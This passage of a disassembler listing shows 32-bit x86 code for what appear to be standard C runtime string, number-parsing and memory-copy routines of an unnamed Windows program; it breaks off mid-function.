loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------

loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72

loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99

loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB278, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------

loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi

loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax

loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 2680184h
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 2680835h
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax

loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------

loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi

loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx

loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx

loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC

loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD

loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------

loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]

loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46

loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4

loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0

loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB

loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8

loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6

loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi

loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------

loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC

loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi

loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080

loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2C4

loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------

loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx

loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------

loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2C4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------

loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A

loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB

loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A

loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4

loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------

loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC

loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290

loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283

loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl

loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi

loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C

loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8

loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------

loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------

loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------

loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------

loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
